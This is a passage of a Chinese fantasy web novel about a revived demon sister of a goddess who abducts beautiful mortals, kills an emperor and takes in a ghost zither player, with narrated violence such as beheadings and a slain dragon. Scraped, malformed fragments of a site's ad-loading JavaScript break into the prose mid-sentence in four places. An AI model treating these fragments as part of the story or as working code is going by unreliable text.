《这是怎么一回事》 1. 青女 天地混沌,阴阳未分,大地之上白雾不散,远远的,有一缕白烟飘摇至穹顶,将要消散。 赤黄土地上盘着两条庞然巨蛇,一青一红,路过的凡人仿若巨蛇旁的蝼蚁,还未有蛇身上的鳞片那样大,凡人跪地拜见后,继续去到远方耕作。 “阿妈走了,阿妈不会回来了。”青蛇垂下脑袋,看着彻底消逝的轻烟,哀伤询问红蛇,“我们以后怎么办?” 红蛇却将可怖的蛇头抬起,试图冲破云层,可惜,她失败了。 “这些凡人还需要我们。” 寂静之中,红蛇给出了这样的答复。 日月轮换,几度春秋,凡人学会农耕,学会织作,也学会了掠夺。 青女和红女,这是她们最初的名讳,各个部落之间的百姓奉她二人为神明。 百年来,青女已选择化为人身,她试图教会凡人法术,教会他们如何共存。 红女亦能幻形,可她却说:“开辟天地之时,与我们一同降世的是这些蛇虫蚁兽,姐姐,我愿意做一条蛇,我想成为一条蛇。” 青女不言,笑着将化为长蛇的妹妹抱在怀中。 二人生来拥有换形体的法力,也被给予了悲天悯人的慈心。 凡人一再爆发的冲突,让青女屡次伤神,诸多恶念使得大地之上的灵气骤减,妖祸横出,百鬼夜行。 红女轻易杀死那些妖物不难,却在一次次的杀戮中有了不同的想法。 人皇向青女打探红女的念头,青女闭口不言,凡人并不知晓姐妹之间发生了什么。 千百年弹指而过,青女与红女渐渐隐于世外,人世间逐渐忘却两位神女的名讳。 神仙鬼怪,也成了话本中才有的笑谈。 只在一个深夜,有住在林中的老翁,见到一条九头异蛇正在与一白衣神仙缠斗,周遭大地震动,石碎河淹,最终,那红鳞蛇被砍去了三条头颅,血流不止。 一阵痛苦的泣声与哀嚎中,红蛇逶迤于地,身躯渐渐消散,灵力化为向外蔓延的地脉,在她残留的的头颅之上,神女用术法立起山峰。 天已亮了,老翁仍瞠目结舌立于原地,神女愁容泪目,自他身旁经过,安抚这位老人。 “不必害怕,这混账不会再现身。我可教授你仙法,你要替我看守此处。” 老翁犹处在一片惶然之中,喃喃自语:“守着此处……?” 这原本只是一片平原,陡然出现几座巍峨高山,自然要给百姓们一个说法。 神女和老翁并肩而立,指了指最高的一座,思索后,笑着给它赐名四境山。 . 人间岁月如白驹过隙,无数的昼夜轮回之后,已是万年时光。 数月来,扶桑州的仙门弟子手头只忙着一件事,重建仙域。 四境山、万灵山、与其他几座山峰都已在仙魔大战中被毁,趁这双方休战的片刻安宁,众修士齐心协力,誓要重振仙域,更要给天下苍生一个太平。 海角崖一个小小宗门的女仙丹荣跟随师门众人来此,面对其他上仙的乐观,丹荣私底下向师姐询问。 “师姐,据我所知,那魔头还尚在人间为患,怎么旁人如此胸有成竹?” 师姐爱四处游历,一定比她知晓得多,丹荣果然得到了答案。 “魔神是没死,不过……他疯了。” 仙域之外是凡人居所,之所以有此分化,是因四境山为首的几座山峰形成一圈灵脉结界,在此地修炼事半功倍。 凡人若无灵根,也无法踏入仙域,仙门子弟千百年来不会轻易在凡界现身。 如今却不同了,结界已在仙魔大战中摧毁,百姓未受波及,却也瞧见了天空之中的妖异巨蛇和雷云异象,两边的来往变得频繁,为了填补在大战中损失的弟子,许多仙者收了凡人为徒,但更多百姓,深知这与她们无关。 天下苍生,离求仙问道很远,反倒有自己的苦恼。 比如,半个月前,宫中的太监发觉皇帝凭空消失在宝殿中。 小太监向掌印解释时,也是满脸惶惑:“奴才正伺候陛下奏折,陛下要了茶水。奴才转身倒茶的功夫,陛下就从大殿消失了……” 殿外的侍卫没有见到皇帝出去,书房内什么都没搜到,就算异党要铲除皇帝,也不可能眨眼间将人弄没。 掌印当即请了先帝的两个心腹忠臣如实相告,两个老臣面面相觑,对外只称皇帝病重,稳住朝堂,暗中调查皇帝究竟去了哪里,半个月过去,没有任何眉目。 皇上再度出现,和他的消失一样让人始料未及。 掌印正与小太监重新排查书房内的暗道,二人正说着话,大殿中陡然显出一缕墨色暗影,空气中传来冷肃的气味,不待细细分辨,就见一个女人从暗影的裂缝中,拎着他们的皇帝走了出来。 皇帝穿的并非消失前的龙袍,而是一身素净白衫,俊朗的脸庞上半分血色也无,一幅六神无主之色,但并不像受了伤,这让大太监放了些心。 他见多识广,本能想靠衣着判断此女的身份,却见她的打扮很古怪,红色的披帛细窄,薄薄一条漂浮在她周遭,墨色衣衫既没有图案,也看不出用料,走动间有光泽浮现,恍若鳞片折射出的诡谲光影。 又见她的盘发间有数只蛇形的簪子,整张脸更是怪异,眉眼很冷,瞳仁漆黑,下半张脸又小又窄,难以用美与丑界定。 “陛下……?” 小太监猜想到这是妖物,仍然胆怯叫了声,想确认皇帝的安危。 商羽徽无视了殿内的其他人。右手掐着人皇的脖子,将脸色惨白的青年丢在地上,见青年仍是满脸痛苦,商羽徽本就烦躁的心情愈发不快,不过这份不悦很快就被转移,她别有兴致地走到窗边,将四周景致扫了一眼,这才如闲聊般开了口。 “凡人,比当初更会享乐。” 毫无情绪起伏的话语,听不出喜怒,殿内三人都不敢搭话。 人皇被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 两个太监扶起来,不知这些时日遭遇了什么,他张了张嘴,竟是什么都说不出口了。 “奴……我……”哑声几句,昔日高高在上的称谓也不敢拿出来。 商羽徽侧身望向地上的青年,眼神几度惋惜,她竟然叹气,缓缓道:“你让我难过。” 说罢,却见她缓步走向门口,推开殿门的一刹,化为黑雾消失在旁人眼中。 一只乌鸦跟随这缕黑雾,直到落于京城最高的钟楼之上,商羽徽方显形而出,伸出手背,接住了追随在身后的乌鸦。 本想化为人形的方杜立时停了动作,她向商羽徽道:“主上,魔尊想见您。” 商羽徽惊讶:“他有了天灵珠的消息?” “不曾,”乌鸦在她手背上扑了扑翅膀,“但他说他有了……神女的消息。” 听这话,商羽徽了然,目光也移到来往百姓的身上。 “嗯,疯言疯语。”商羽徽又道,“他绝不会有,往后也不必再提。” 方杜全然信任商羽徽,毫不怀疑她的话,盘旋在她身边,询问商羽徽接下来的打算。 “主上,你将人皇送回来,他可曾令你愉悦?” 说到此事,商羽徽蹙眉,大失所望:“他被吓得不敢说话,愈发丑陋,还不如这人间百态有趣味,我实在看不下去。” “凡人相貌,比不上妖魔仙者,能跟随主上,是他的福气。”方杜理所当然,“即便好看,也不过是一时。” 凡人会容颜衰败苍老,商羽徽自懂得这道理,她立在高处,哀叹:“何止是他,那些仙妖亦是废物,我哪里待他们不好?只不过希望他们好看些。” 方杜本是一只乌鸦,在商羽徽跟前学舌的模样却似是一只鹦鹉,她应承:“主上言之有理,这些人不堪大用。” 她深知主上的“美”之一字的追求,又献计:“不如主上去仙界杀几个人,抓几个花瓶回来。” “又不是没抓过。” 商羽徽很无奈,“那些仙者和小妖见了我只会哭哭啼啼……难道说,我很可怕?” 方杜扑着翅膀,又在她周身飞旋一圈,摇了摇脑袋:“不可怕。” “那为何这位人皇,控诉我残暴?”商羽徽重返人间,处处疑惑。 “因为您当着他的面杀人。”方杜如此猜测。 商羽徽不否认,反倒要问:“那小妖在我面前笑个不停,我问他为何发笑,他竟说神女死了,有了新魔降世,魔族士气大涨。” 她悠悠叹气:“神女是我姐姐,我的姐姐离开了我,这蠢笨的妖物敢当面发笑,不该杀么?” 方杜不敢询问商羽徽和神女的事,实则她弄不明白,神女的妹妹怎么会是先天之魔?她眼珠一转,只笑几声:“主上所言极是,这种薄情寡义之人,该杀。” “既然我杀的都是该死的人,为何旁人要怕我?” 商羽徽自语一句,不曾继续等待方杜的回话,消失在她眼前。 2. 相盈 仙域的重建异常困难,新入门的弟子初次见到这天倾地覆、一片狼藉的惨状时,无法相信自己的双目。 只知晓人间天灾地动会有此横祸,却不知仙魔大战的惨烈程度,能使一片宝地化为废墟。 商羽徽立在四境山的旧址旁,听几位仙童议论纷纷,她心生好奇,化作仙童模样混了进去,只听其中有人困惑发问:“什么蛇妖搅得天地大乱,当年明吾那样的巨蛇,不也被太真仙尊一剑斩死。” 另一仙童连忙指出:“那不是妖,是天魔。” 几个小童更迷糊了,又问:“天魔是何意?天魔为何化成异蛇模样,还有残缺。她比魔神更厉害?” 仙童对天魔二字只有陌生,修行以来,只知晓魔神生于人间恶念,法力高强,自然以为不会有比这更厉害的魔族。 这些事三言两语难以说清,领头的白衣小孩儿板起脸催促:“先过去找仙尊,师父不让我们胡乱打听。” 他数了数几个师弟师妹,见多出来一个小孩儿,稚嫩的脸上有几分疑惑:“你是谁?” 几个仙童一齐回头望向商羽徽,她瞧了眼四周,故作惊讶:“我是新入门的弟子,走错了地方。” 也不等几个小童反应,商羽徽转身就走,她的身上既无魔气,也瞧不出什么灵力,一路上也无人起疑。 商羽徽在四周转了一圈,没有看见所求之物,大失所望地离开仙域,回到栖云城。 栖云城城主原本是个梦魔,此魔叛出魔界,没有参与仙魔大战,对商羽徽的到来措手不及。初返人间的商羽徽心境复杂,不愿争执,见那梦魔不知死活,干脆撕下了他的头颅悬挂在城门之上,城中的妖魔被吓得逃出七七八八,留下了几人伺候商羽徽,方杜就是其一。 城中并不空荡,商羽徽抓来了不少貌美之人,有男有女,她将几个实在不听话的封在冰中,以作景观。 方杜对此很不解。 她见过许多奇怪而残暴的妖魔,他们也会将美人占为己有,不过目的只有床榻上的寻欢作乐,商羽徽将这些人抢回来,却很少带入房中。 穿过几座美人冰雕,就是商羽徽歇息的院子,城中几个留下的小妖怪会替新的城主收拾院落,商羽徽讨厌华贵的装饰,将梦魔留下来的宝物全数赏给了小妖怪们,她的院子很不起眼。 杜在院门口停下脚步,殷勤道:“主上主上,下一步是什么打算?” 初到此处,得知她的身份,方杜二话没说就誓死跟随。 庭院中,商羽徽敞着外衣休憩,她撑着额头,眼都没睁:“打算?” 方杜提醒她:“既然人皇也无法令您愉悦,我们可以做些别的。” 譬如杀入仙门、又或是连带魔族一同杀光,一统天下之类……方杜认为传闻中的天魔就该是如此的抱负和气魄。 商羽徽并非不知方杜心中所想,她缄默半晌:“方杜,你想一统六界?” “当然,”方杜对自己的志向很自豪,她只是惋惜:“只是凭我的法力,永远也做不到,这才选择追随您。” 两人的对话让商羽徽有些走神,很久之前,她跟姐姐说过类似的话语。 因此,商羽徽轻声笑了:“一统六界,他们就成了我的子民。不同的子民之间,终有一天会生出不同的间隙,就如凡间帝王……” 说到凡间帝王,商羽徽站起身,打算给人皇一个了断。 凡人将宫中皇帝奉为天子,这位天子消失半月之后,在朝堂上匆匆露面,又再次抱恙,不同的是,这一回他当真病了。 宫中还办了两场法会,超度亡灵,驱邪镇妖……躺在床上的青年皇帝面如死灰,没有阻止。 法会显然对商羽徽起不到任何作用,出现在青年的床榻旁,她甚至颇有兴致地捻着一张道家画符。 青年沉默,对她的到来,他只有恐惧。 商羽徽玩了一会儿那张符纸,直到腻了才随手丢弃。她将脸凑到青年身旁,眼神诡谲,皇帝没办法,试图将视线移开,就见到她发间蛇头长簪。 “夫君,”商羽徽很难过,“一日夫妻百日恩。” 皇帝的脸更苍白,他破罐子破摔道:“我们不是夫妻,人妖殊途,你要杀就杀。” 他害怕这个奇怪的妖魔,对方能变幻出人的皮囊,性情与兽类无异,夫君这样的字眼从她口中说出,仿佛一只老虎学会说人话,让人生寒。 “别说这种话,说了就不美了。”商羽徽伸出手,用自己冰冷的指腹在青年脸颊上轻触,见青年张口又要抗拒,她先一步开口,“你可知百姓如今的生计如何?” 皇帝狐疑地与她对视,他如实相告:“前几年各国征战,亏空了银两,如今相安无事,只是……山野之处,难免有朕、有我力不能及之处。” 商羽徽看了眼金碧辉煌的寝殿,稍偏过头,问:“做皇帝痛快吗?” 半晌,尚带病容的青年大笑几声:“痛快,谁若是告诉你不痛快,那他是在骗你。” 翌日,负责喂药的太监发觉皇帝身首异处,头颅之上,一层雪色绢布盖住了他的面容。 宫廷动乱,方杜听闻又死了一个男人,找到在湖边垂钓的商羽徽,心急如焚:“主上,下一步做什么?” 商羽徽眼都不眨,正色:“死了夫君,什么都不想做。” 方杜不明白商羽徽对美之一字的追求,更想不通这群废物男人怎么连保持美貌都做不到,她比商羽徽还想哭,望着湖面道:“不如,您直接找个天底下最美的人,抓到身边。” 这话显出几分无知,商羽徽也不怪方杜,只是摇头:“皮相何来‘最’之一字,不会有人美到令全天下都心服口服。” 不信邪的方杜化为小乌鸦,周游各国,巡视其余六界各处,终于给商羽徽带来一个好消息。 彼时的商羽徽已在湖边垂钓三日,尽心扮演着死了夫君的寡妇,一听得方杜说西地雪域有个琴师,被当地人称为天下第一美人,商 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 羽徽止住愁容,喜上眉梢。 西地气候严寒,居住在此的凡人不多,又因灵力稀薄,仙魔亦不会出现于此。 商羽徽现身时,西地在下雪,入目之处是刺目的白,大片雪花砸落在肩头,絮絮杨扬,她伸出掌心接了一块,往城中走去。 这样冷的地方,各家门口都燃着篝火,却不见人影,商羽徽走了几步,终于在这片雪地中见到不一样的颜色。 茫茫白雪中的一点墨意,是一个玄衣的抱琴少年正从拐角走出。 这人对商羽徽的视线有所反应,缓缓回首,见来人是个陌生的诡谲女子,目中困惑。 他的头发长至腰后,只束了一缕。面庞是极为年轻的,介乎于青年与少年之间,皮肉紧实,骨相清艳,身型瘦而挺拔,说是冰肌玉骨也不为过,双目中又隐约流露出奇异艳媚之色,仿若一只刚吞食完人心的餍足狐妖。 此人之美貌,比她先前抓的什么仙尊欲魔都更甚几分,商羽徽心中大悦,上前几步,也不想吓着他,只问:“你是琴师?” 少有生人来此,相盈仍有戒备,冷淡颔首,不愿言语。 风雪之中,绝世美人抱琴而立,商羽徽似赏景一般将他看了片刻,发觉他身份的异样。 “你是念灵?”她追问,“叫什么名字?” 能看出他的来历,这女人不是寻常凡人,又不像道士仙者。相盈谨慎告知了自己的名讳,略过了另一个发问。 商羽徽心底稀奇,对他的念灵身份很满意,决定先听一听他的曲子。 镇上的人不见踪影,是因都在酒楼等待相盈弹曲,他每日都会前来,风雨无阻,在这荒芜的雪地,是百姓为数不多的消遣。 “相盈琴师弹得真好……” 方杜到这时才赶到,她与商羽徽一同站在酒馆二楼,窃语:“主上认为如何?” “很好。”商羽徽挑不出错,对着相盈的脸,也不忍挑错。 台下的少年半垂着脸,按着琴弦,墨发披散在一旁,眉眼之中只有对琴音的专注,商羽徽看得赏心悦目,好一会儿才问方杜:“你没看出他是一只念灵?” 方杜很诧异:“念灵?” 念灵,是鬼的一种化身,之所以少见,是因念灵心地纯粹。 商羽徽已向当地百姓打探过,相盈这只鬼,弥留在西地将要百年,他生前痴心琴艺,天赋异禀,却天生病弱,渐渐无法像常人那样对琴弦把控自如,死前都还想着要将自己的琴重换一根什么样的弦。 怀着这样的不甘,相盈死后,变为一只念灵。 镇子上谣言四起,说到闹鬼自然人心惶惶,但相盈只是如生前一样弹曲作曲,从不害人,且他每日只出现一小会儿,这样离奇之事,竟也被接受。 方杜大喜过望:“好啊主上,念灵不会色相衰老,再适合不过。主上这下大可安心去一统六界。” 商羽徽蹙眉,轻声斥责:“打打杀杀太吓人了,我要把他带回去。” 3. 天真 在商羽徽的认知中,把人带回去不需要进行任何商量与询问。 于是,独自飘零、游离了百年的琴师相盈,就这样被抢到了栖云城,且他并不是唯一的战利品。 离开雪域前,商羽徽顺手还带走了一个路过的青年,倒没有别的原由,只不过此人的样貌神似那位死去的人皇。 她心很软,想留在城中做个念想。 两个人被掳到妖魔的城池中,青年见到城中肉身雕塑与其余被囚禁的貌美之人,又耳闻商羽徽的来历,当即吓晕过去。 商羽徽站在高处,看得笑出声来:“没出息的样子,也跟他一样。” 方杜知道她在说谁:“不中用的东西。” 相比之下,相盈就冷静许多。 初来乍到时,他扬了扬脸,眼波流转,冷声问商羽徽:“你想做什么?” 商羽徽:“什么也不做。” 相盈亦观察到了那些雕塑,以及城中被她收集来的各路人士,他没有害怕,缄默之后,问了第二个问题。 “我可以弹琴吗?” 专心入神的模样很美,商羽徽自然允了。 也不知是性情沉冷,或是太痴迷于琴乐,相盈只是独自在偏僻角落谱琴写曲。 他既不试图在城中各处寻找出去的办法,也不会加入其他人对商羽徽的嘤嘤控诉中,仿佛与世隔绝。 商羽徽时常在他奏琴的片刻无声来到他身旁,观察着他的侧颜,有时还会小酌两杯。 栖云城的夜晚很漫长,生着寒意的漆黑夜色将人浸透,本就怪诞的城池让人不安,白日里控诉商羽徽的美人不敢外出。 唯有相盈会静坐于高楼月台上,商羽徽越看越喜欢,来得很频繁。 二人鲜少交谈,商羽徽把相盈当作娇贵的花瓶,相盈似是天生不爱开口。 不仅是商羽徽,城中其他人与相盈闲聊,他当即像沾染了什么污秽,抱琴离去。 商羽徽夜夜听他弹琴,他曾在音律上问过几句。 然而,商羽徽不通音律,得知此事的相盈敛起眼眸,按住琴弦,问她:“商羽二字取来于此,你怎么会不通音律?” 商羽徽怅惘:“是姐姐给我起的名字。” 太久了,数万年前之事,商羽徽无法回忆起是先有了这个名字,还是先有了五音之说。 相盈在城中这些时日,多少听说了商羽徽的来历,只是他不关心什么天仙地仙魔与神的故事,他只是气恼:“你既不懂,每夜来听我抚琴都听了什么?” 商羽徽搁下酒杯,坐得离他近一些,看见那双姝丽的眸中透着薄怒,她反而笑道:“好听就行了,更何况你还好看。” “这城中多得是美人。”相盈变回冷淡倨傲的模样,作势要走。 对于他的发作,商羽徽摸不着头脑,坐在原地不打算追上去。 方杜从暗中探出乌鸦脑袋,评价一句:“装什么装。” 末了,又道:“身在福中不知福!” 商羽徽摸着身上赤红披帛,沉思:“我从不强迫他,怎么他还生气了?” “这念灵认为自己曲高和寡,没有知音。”方杜一知半解地猜测。 “原是如此,”商羽徽谦虚道,“我对如今的世道,还是太不了解,学也只能学到皮毛。” 她心想这实在过于复杂,姐姐过的就是这样的日子? 翌日午后,商羽徽照旧在相盈谱曲时旁听,她躺在卧榻之上假寐,相盈比之往常脸色更冷几分。 商羽徽听着断断续续的琴声,情不自禁问:“你怨什么气?” 相盈头也不抬,只说了句对牛弹琴。 他一点儿也不怕死,不担心说的话是否会惹怒自己,商羽徽撑着额头,幽声:“难道夫妻相处,二人须得了解彼此全部?” 话音刚落,相盈已止住琴音,他原先低着头,这会儿缓缓抬起脸,神色怪异。 商羽徽每回说这种话,都会见到或是惊恐、或是抗拒的神情,相盈的只是微抿着唇,好半晌才反问:“你怎么会认为,我与你是夫妻?” 他说得不无道理,商羽徽仿佛被点拨,改口:“那就是妻夫好了,许久之前这世上就是妻夫,顺应天意。” 相盈仍旧无言,目光看向远处,商羽徽会错了意,又道:“妻夫夫夫……” 谈话间,相盈终于想到结症所在,他问:“你有呼风唤雨的本事,不必在此鹦鹉学舌找人寻乐。” 也是直至此刻,相盈仔细打量了一眼商羽徽的模样。 他法力低微,只能看见她的皮相,与美丑毫无干系,细长的眉,双瞳很黑,纯粹的颜色让她几许不符合身份的怪异天真,有时轻笑,那双眼睛眯起来,像在酝酿不详的漩涡。 奇怪的样貌,一眼就知是蛇的化身。 商羽徽正在因他的话冥思,栖云城却来了位不速之客。 来者身量高大,玄衣带血,双目猩红,通身上下沾染浓重煞气,十足的魔尊派头。 不等方杜前来禀报,昔日魔尊空桑已向月台扑来,煞气之重,让相盈不禁拧起眉头,幸而商羽徽出手将对方拦下。 素日飞旋缠绕在她臂弯中的赤色披帛,在此刻化为兵器,被赋予了万斤之力,缠住了空桑的脖颈,使他无法再上前一步。 对于空桑的到来,商羽徽投去一个疑惑的眼神:“你怎么来了?” 空桑不是商羽徽的对手,无法挣脱,他也没想动手,脸色铁青:“本座找了很久,也没找到天灵珠的碎片。照这样下去,岂不是要千万年之后才能将曲意琅复生?” 商羽徽听见曲意琅这个名号,好一会儿才反应过来这是在说姐姐。 她毫不在意道:“不必心急,天灵珠反噬太强,你就算强行拼凑将她复生,也对她全无益处。” 魔的本性贪婪,魔尊更是如此,否则当日仙魔对阵,他就不会妄图用禁术救回将要溃散的神女。 他无法忍受爱人的离去,怕自己熬不过千百年的孤寂。 只可惜这份妄念没能救回曲意琅,禁术让本就虚弱的曲意琅冲破极限,失去了对地脉封印阵法的控制,也加快了她的消散。 沧海桑田,被姐姐压制万年的商羽徽从地底复苏,仙界奉为福门宝地的四境山只不过是她的其中一只头颅,仙域数百条灵脉回归于她的□□,铸为蛇身,重返六界。 空桑那时才想明白,原来曲意琅弥留之际,所说的那句“不要救”,意指不要歪打正着救了商羽徽。 倘若不是那道禁术,照曲意琅的计划,商羽徽一时半会还无法复生。 商羽徽大致听闻来龙去脉,她本意是杀了空桑,空桑死得其所,可他还想找回曲意琅。 当日在场之时,初返六界的商羽徽化为人身,长袍拖拽,她观察着面露悲切神色各异的众人,缓缓说:“想救回她?找到天灵珠的碎片就是了。” 多年来的争夺,正是为了让天灵珠不落到魔族之手,再想拼凑,想来又是一番争斗。 仙门弟子也不愿听信商羽徽的建议。 一个天魔,被镇压千千万万年,还愿意看见始曲意琅能够重见天日? 只有魔尊情急之下选择相信,除此之外,他没有活下去的借口。 商羽徽不明白姐姐为何会对魔生出情愫,七情上脸不像青女的作派。 仙妖之间的情爱结局如何,在寂寂岁月中, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 两姐妹已经见证过无数次的不堪。 商羽徽只是想不通而已。 她试着去揣摩青女的想法,发觉这实在很难。 不多时,空桑被商羽徽劝走了,迟迟赶来的方杜认为空桑只是想见一眼神女的妹妹。 六界八荒实在太广阔,天地二字又过于高远,即便是魔尊也想要找出一些爱人留在世间的气息,才能安心等待。 方杜这只乌鸦被商羽徽抓着翅膀,商羽徽叮嘱她:“去跟在空桑身边。” 推开掌心,商羽徽将乌鸦送出,方杜法力不高,这会儿受了商羽徽的恩赐,展翅时隐隐现出彩翼。 月台重归寂静,商羽徽再度望向相盈。 寻常妖鬼都惧怕空桑,如今更惧怕商羽徽,相盈不怕死,也就没那么在乎,他发觉几人的谈话完全与他无关之后,就低头翻阅自己的琴谱。 念灵执念深重,商羽徽见他痴心于琴,心底有几分羡慕。 她的执念,不知何年何月,才能实现。 有风拂面,相盈主动开了口:“我要出去一趟。” 说完才意识到被囚禁的身份,他转身询问:“可以么?” 商羽徽很好说话:“你要出去做什么?” 相盈抱着琴,指腹捻着其中一根,向她解释:“这根弦百年前就该换了,无论我谱什么曲子,总觉着不对劲。” 换根琴弦而已,商羽徽没当回事,带着相盈去了他所说的芦尾岛,据说曾汇聚天下名士在此矽琴,但那已经是相盈百年前听到的传闻,芦苇岛人烟罕至,一派凋零。 相盈失落道:“一百多年了……” 他已死了这样久,漂泊一生。 “区区百年,不必哀愁,”商羽徽已有应对之策,问他,“什么东西做琴弦好?” 得到龙筋这样的答复,商羽徽颔首应下,而后她真的找来一条龙,当着相盈的面拆下龙筋,嘴里还说道:“这么点事,不值得唉声叹气。” 西地再如何闭塞,相盈也知晓一条龙意味着什么,他看着地上了无生气的恶龙,接过血淋淋的龙筋,面色微动。 少年没有急着给琴换弦,随商羽徽回到栖云城。 将要入夜,没了方杜在城中乱窜,其余侍奉的小妖一早躲了起来。 两人相对而坐,中间横放几条鲜血淋漓的龙筋,场面很古怪。 相盈的脸很白,他本就是鬼,摄人的双目正望着商羽徽。 “你愿意为我做这些。”相盈问,“为何?” 商羽徽本想说这算什么,从前凡人干旱或是发洪,她还与姐姐搬山修渠,布云引水呢……只是话到嘴边,商羽徽只说:“你笑起来好看些。” 听闻此话,相盈没有意外:“你喜欢我?” “自然。”商羽徽想也不想。 她口中的喜欢,想来不是寻常人所言的情感。夜色中,相盈拢了拢肩旁的发丝,露出纤瘦清雅的下颌。他缓缓摇头:“既然喜欢,为何带我回来时,又要捎上旁人?” 商羽徽凝着他那一片雪色肌肤,眨眼:“你很介意?” 等了半晌,相盈没有答话,只是抬了抬下巴。 “好吧。”商羽徽妥协,这对她来说就是顺手的事,她召来酷似人皇的男人,一句话没有,红帛已飘出手心,将他的脑袋拧了下来。 相盈立于黑暗中静静端详一切。 看着这个与他无冤无仇的男人身首异处。 看着他的血珠洒到了自己的面颊上。 他垂眸,拭去脸上的温热,凝望了一会儿。 再度抬头,先前漂亮又拒人千里之外的脸,在商羽徽的视线中,浮现出沾满恶意的笑,无比鲜活。 4. 宠爱 栖云城的月台早已变为相盈抚琴之处,得了龙筋,他还要洗净打磨。 以他微薄的灵力,想要雕磨这些龙筋,不是一件易事。 于是,琴声响了数日的月台,陡然变得寂静。 这样的转变,城中其他人也留意到,一只小妖字句明了,转述昨日之事:“城主为他杀了条龙,抽取龙筋,只为博美人一笑。” 屋内众人相互看了几眼,有人说:“这男鬼什么来历,胆子好大。” 亦有人向往道:“龙呐……龙筋可是至宝。” 吞食一条龙筋,修士可涨数百年修为。 凡人对龙只停留在想象,仙魔深知一条龙有多么难缠,千年难遇。 原来被城主宠爱,就能有这样的至宝,以往究竟在不情不愿什么呢?其实城主也没那样可怕,就连那位手无缚鸡之力的人皇,也熬过了数日,惹怒城主才丢了性命。 在场之人心境悄然变化。 从前相盈弹琴,商羽徽坐在旁边以作消遣,如今他要重新雕刻琴弦,没了琴声,商羽徽少不得外出走动。 十三重仙界、阴冥地府,都与从前不同,各仙各鬼偶有听闻过商羽徽的,避她不及。 扶桑州的重建更是惨不忍睹,出于恻隐之心,商羽徽现身在渡善元君身旁,实话:“此处从前适宜修炼,是有我的灵力与阿姐的大阵,如今我已抽离了地脉,你们何必白费功夫?” 渡善元君是青女万年前点化成仙的凡人,商羽徽被封印前,渡善元君还是个两团黑发的圆脸小孩儿,眼前已成了仪态威严的仙尊。 元君是为数不多真真切切见过她的仙者,然而也就匆匆数面,这对姐妹早已不和。 她一时无言,商羽徽也没指望她说些什么,反而安慰:“换个地方修行吧。” “谈何容易?”渡善元君何尝不想,面对青女的妹妹,她无奈,“你早已察觉大地上的灵力所剩无几。” 商羽徽是感受到了,她忍不住笑:“罪魁祸首另有其人。” 对如今的商羽徽而言,六界的不同也只不过是表象有了改变,她曾封闭神识,数次长眠,醒来后想要看到不一样的世界,只可惜这一回也没有如她所愿。 渡善元君望向扶桑洲上的云楼,想起吞下天灵珠被反噬的曲意琅,索性直问:“你姐姐的神力,有一半都化为你所有,不是么?” 姐妹二人此消彼长,复生时,被青女用来压制商羽徽的神力,倒被商羽徽收下。 得到商羽徽的默认,渡善元君忧心忡忡望向天际:“红女,你欲如何?这世上,再无人能砍下你的头颅制止你。” 正因知晓红女如今的神力无边,渡善元君反倒不怕了,挣脱一切枷锁后,红女没什么动作,就说明她当真暂且没有杀戮之欲。 天魔复生后做了何事,渡善元君略有耳闻,这些古怪的行径和红女数万年前的恶行相比,无足挂齿。 商羽徽只黯黯道:“姐姐不在,我仍受制于她。” 言下之意,她如今真没什么打算。 渡善元君不知这算不算好消息,目送红女离去。 回到栖云城时,商羽徽遇见了赶回来汇报的方杜。 方杜是一只修行多年的渡鸦,在叛出魔族之前,她曾誓死追随过空桑。 这绝非爱慕之情,只是因空桑出世时,六界都传言他乃恶念化身。 仙界之人本想将他杀于襁褓之中,却迟了一步,空桑在魔族子民的养育下长大,果真杀欲熏心,且狂妄自大,不仅自封魔尊,还时不时就要对仙界出兵。 在征战六界这一点,方杜无比认可空桑的大计,无论魔尊是否认得这只小小渡鸦,方杜都很卖力,直到—— 直到魔尊大人与善良的天神曲意琅相爱。 尽管魔尊仍旧坚持着对其余各界的吞并,却还是因曲意琅无意中耽搁了数次,一个魔动了真情,其场面很是惨烈,方杜意识到魔尊终会因为神女坏了多年的耕耘,早一步离开。 她已想好在栖云城养老度日,不料天生异象,又来了个比魔尊更厉害的天魔。 方杜想也不想就投诚了,她的计划本就是杀平六界,跟着谁杀穿根本不重要,结果却让她惴惴不安,这位天魔固然强大,却仿佛没什么斗志,偶尔杀几个人的缘由也让人百思不得其解。 不够美。 不够美的男人就会被她杀掉。 好色的魔很常见,方杜习以为常,又费解这究竟算哪一种好色。 过去方杜从不认为保持美貌很难,大罗法术都有了,变换样貌不在话下,这些人怎么连这点小事都做不好? 方杜正怀疑自己是否又追随了错误的人,恰逢商羽徽那日却在月台之上渡给她一丝神力,微弱奇异的暖流窜入方杜的身躯,她灰黑的羽翼竟变出赤红霞光之色。 这已不单单是修为上的点拨,而是让方杜山鸡成了凤凰。 受此等大恩,方杜迁来禀报时,神态格外恭敬,恨不能将头埋到地上。 “空桑在黄河边游荡,”方杜事无巨细,“他听闻初生之神诞于黄河两地,认为那里有线索。” 商羽徽心知黄河两地没有天灵珠的碎片,也不会有姐姐的气息,若有,她会比空桑先一步察觉。 她示意方杜应当继续去跟着空桑,方杜二话不说,利索地滚了。 耳根又清净下来,没有凡人的疯言疯语、没有仙界的种种揣测,就连相盈的琴声都许久未曾响起。 挂着薄幔的月台之上,相盈正专心致志地换弦。 他原本只想换一根,不过得了这么多龙筋,不用亦是浪费,遂花了些功夫尽数剥离撕碎,这会儿正搭在琴身之上,打算试一试音色。 商羽徽悄无声息来到他身后,一张脸自他后肩探出,相盈全神贯注,法力又远不及她,原本并未注意到她的到来,直至商羽徽主动开口,他才窒了一瞬。 “真没用。”商羽徽不留情面地给出评价,“琴怎么样了?” 相盈始终是一心扑在琴上,思索过后,他微有了笑意:“就这几日,待挑好长短于音色即可。” 趁说话的功夫,商羽徽多看了几眼他的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 琴。古琴由来已久,商羽徽从不关心这些,也分不清这究竟是哪一种,只知此琴有些破旧,琴面不再发亮,侧身刻了竹兰之景,些许萧瑟。 琴身又长又重,相盈太瘦,若非身量还算高,恐怕抱琴的模样就不那么美了。 她寻了个软榻卧下,合上双目,提议:“你为何不弄两把琴换着用?” 